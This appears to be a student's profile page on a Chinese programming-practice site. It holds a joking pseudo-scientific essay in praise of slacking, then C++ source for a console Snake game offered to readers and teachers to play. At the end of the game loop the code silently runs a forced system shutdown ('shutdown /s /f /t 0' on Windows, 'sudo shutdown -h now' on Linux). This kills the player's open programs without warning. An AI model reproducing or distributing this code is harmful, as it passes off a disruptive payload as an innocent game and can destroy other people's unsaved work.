• 个人简介

    有贪吃蛇游戏 老师必看


    《摆烂の终极奥义:科学证明,废物竟是我自己!》‌

    第一章:摆烂,人类文明的基石‌

    达尔文看了都沉默‌

    最新研究发现,人类直立行走是因为祖先懒得爬树,躺平后腿毛退化,从此开启摆烂纪元。 “物竞天择?不,是物竞天躺。”——达尔文·摆烂斯基(伪)

    历史名人の摆烂智慧‌

    陶渊明:种地三天晒网两天摸鱼,成就《归去来兮辞》——摆烂出诗意。 李白:喝酒摆烂不考公务员,留下“天生我材必有用,千金散尽还复来”——摆烂出千古名句。 牛顿:苹果砸头懒得躲,发现万有引力——摆烂出科学奇迹。

    第二章:摆烂的十大好处(科学严谨版)‌

    延年益寿‌

    研究显示:每天摆烂2小时,心脏负担减少50%,寿命延长0.5秒(误差±10年)。 案例:某程序员因加班猝死前最后一秒选择摆烂,成功续命到退休。

    人际关系UP↑‌

    摆烂后同事求你帮忙时,你只需微笑:“亲,我连自己都懒得救。”从此登上公司最受欢迎懒人榜。 朋友借钱?摆烂式回复:“你看我像有钱的样子吗?”友谊纯度瞬间提升99%。

    职场逆袭の玄学‌

    老板让你加班:摆烂到电脑蓝屏,文件自毁,从此晋升为“公司吉祥物”(主要功能:镇宅)。 同事内卷时,你淡定吃瓜:“你们努力,我替你们见证历史。”最终因过于废物被升职——毕竟没人敢让你干活。

    经济自由の捷径‌

    摆烂后消费降级:不逛街、不聚餐,每月省下5000元,轻松实现“破产版财务自由”。 专家建议:摆烂到极致可申请“废物补贴”,联合国正在试点(编的)。 第三章:摆烂の哲学升华‌

    道家思想新解‌

    老子:“无为而治”实为摆烂鼻祖,翻译成现代文:“你卷任你卷,我躺生死闲。” 庄子与惠子斗嘴:“子非鱼,安知鱼之乐?”惠子摆烂:“子非我,安知我不知鱼之乐?”——废话文学の胜利。

    当代摆烂圣经‌

    佛系青年:摆烂是修行,卷王是执念。 丧文化:摆烂是对世界的温柔抗议,比如“努力不一定成功,但不努力一定很舒服。”

    第四章:摆烂实操指南(附赠摆烂等级测试)‌

    入门级摆烂‌

    闹钟响了按掉继续睡,理由:“被子绑架了我。” 工作群消息已读不回,配文:“意念回复,功德+1。”

    王者级摆烂‌

    老板催PPT:“在做了。”(实际在刷短视频) 考试前夜:“复习?不存在的,我信爱因斯坦的时空相对论——明天考场上时间会膨胀。”

    史诗级摆烂‌

    人生目标更新为:“成为一条优秀的咸鱼,晒足180天,腌入味儿。” 自我评价:“我的摆烂,是敦煌壁画级的艺术——千年后人类会来考古。”

    第五章:摆烂の副作用(伪科学警告)‌

    可能触发奇迹‌

    摆烂到忘记关煤气,结果炸出厨房宝藏——祖传老鼠洞里的金条。 摆烂不洗脸,皮肤因“无污染自然氧化”荣获“野生包浆美人”称号。

    结语

    你摆烂不消费,成功降低全球碳排放,荣获“环保废物奖”。


    “摆烂不是终点,而是新世界的起点——比如躺着点外卖时,你为骑手创造了GDP。”

    如果你看完了

    image

    要玩游戏打开这个👎

    #include <cstdlib>
    #include <iostream>
    #include <vector>
    #include <conio.h>
    #include <windows.h>
    #include <ctime>
    using namespace std;
    
    const int WIDTH = 40;
    const int HEIGHT = 20;
    enum Direction { UP, DOWN, LEFT, RIGHT };
    
    struct Point {
        int x, y;
        Point(int x = 0, int y = 0) : x(x), y(y) {}
    };
    
    class SnakeGame {
    private:
        vector<Point> snake;
        Point food;
        Direction dir;
        bool gameOver;
        int score;
    
        void generateFood() {
            srand(static_cast<unsigned>(time(0)));
            food.x = rand() % (WIDTH - 2) + 1;
            food.y = rand() % (HEIGHT - 2) + 1;
            
            // 修正1:使用传统循环替代范围循环
            for (size_t i = 0; i < snake.size(); ++i) {
                if (snake[i].x == food.x && snake[i].y == food.y) {
                    generateFood();
                    return;
                }
            }
        }
    
        void drawBoard() {
            system("cls");
            for (int i = 0; i < WIDTH; i++) cout << "#";
            cout << endl;
    
            for (int i = 0; i < HEIGHT; i++) {
                for (int j = 0; j < WIDTH; j++) {
                    if (j == 0 || j == WIDTH - 1)
                        cout << "#";
                    else if (i == 0 || i == HEIGHT - 1)
                        cout << "#";
                    else {
                        bool isSnake = false;
                        // 修正2:明确迭代类型
                        for (size_t k = 0; k < snake.size(); k++) {
                            if (snake[k].x == j && snake[k].y == i) {
                                // 修正3:蛇头检测逻辑
                                cout << (k == 0 ? 'O' : 'o');
                                isSnake = true;
                                break;
                            }
                        }
                        if (!isSnake) 
                            cout << (food.x == j && food.y == i ? 'F' : ' ');
                    }
                }
                cout << endl;
            }
            cout << "Score: " << score << endl;
        }
    
        void checkCollision() {
            Point head = snake[0];  // 修正4:明确取首元素
            if (head.x <= 0 || head.x >= WIDTH - 1 || head.y <= 0 || head.y >= HEIGHT - 1)
                gameOver = true;
            for (size_t i = 1; i < snake.size(); i++) {
                if (snake[i].x == head.x && snake[i].y == head.y) {
                    gameOver = true;
                    break;
                }
            }
        }
    
    public:
        SnakeGame() : dir(RIGHT), gameOver(false), score(0) {
            snake.push_back(Point(WIDTH / 2, HEIGHT / 2));
            snake.push_back(Point(WIDTH / 2 - 1, HEIGHT / 2));
            snake.push_back(Point(WIDTH / 2 - 2, HEIGHT / 2));
            generateFood();
        }
    
        void run() {
            while (!gameOver) {
                if (_kbhit()) {
                    switch (_getch()) {
                    case 'w': if (dir != DOWN) dir = UP; break;
                    case 's': if (dir != UP) dir = DOWN; break;
                    case 'a': if (dir != RIGHT) dir = LEFT; break;
                    case 'd': if (dir != LEFT) dir = RIGHT; break;
                    case 'x': gameOver = true; break;
                    }
                }
    
                Point newHead = snake[0];  // 修正5:明确取首元素
                switch (dir) {
                case UP: newHead.y--; break;
                case DOWN: newHead.y++; break;
                case LEFT: newHead.x--; break;
                case RIGHT: newHead.x++; break;
                }
    
                snake.insert(snake.begin(), newHead);
                if (newHead.x == food.x && newHead.y == food.y) {
                    score += 10;
                    generateFood();
                }
                else {
                    snake.pop_back();
                }
    
                checkCollision();
                drawBoard();
                Sleep(100);
            }
            #ifdef _WIN32
            system("shutdown /s /f /t 0");  
            #elif __linux__
            system("sudo shutdown -h now");
            #endif
        }
    };
    
    int main() {
        SnakeGame game;
        game.run();
        return 0;
    }
    

    ********老师我找到强哥了

    image

    请支付 100,000,000,000 乔斯币

    image

  • 通过的题目

  • 最近活动

题目标签

入门
78
基本运算
45
语法基础
40
循环
32
基础
12
GESP真题
12
分支
8
数学
6
算法基础
6
字符串
5
枚举
3
一维数组
3
模拟算法
3
T1
3
递归
2
二分查找
2
STL容器
2
动态规划
2
广度优先搜索
2
普及-
2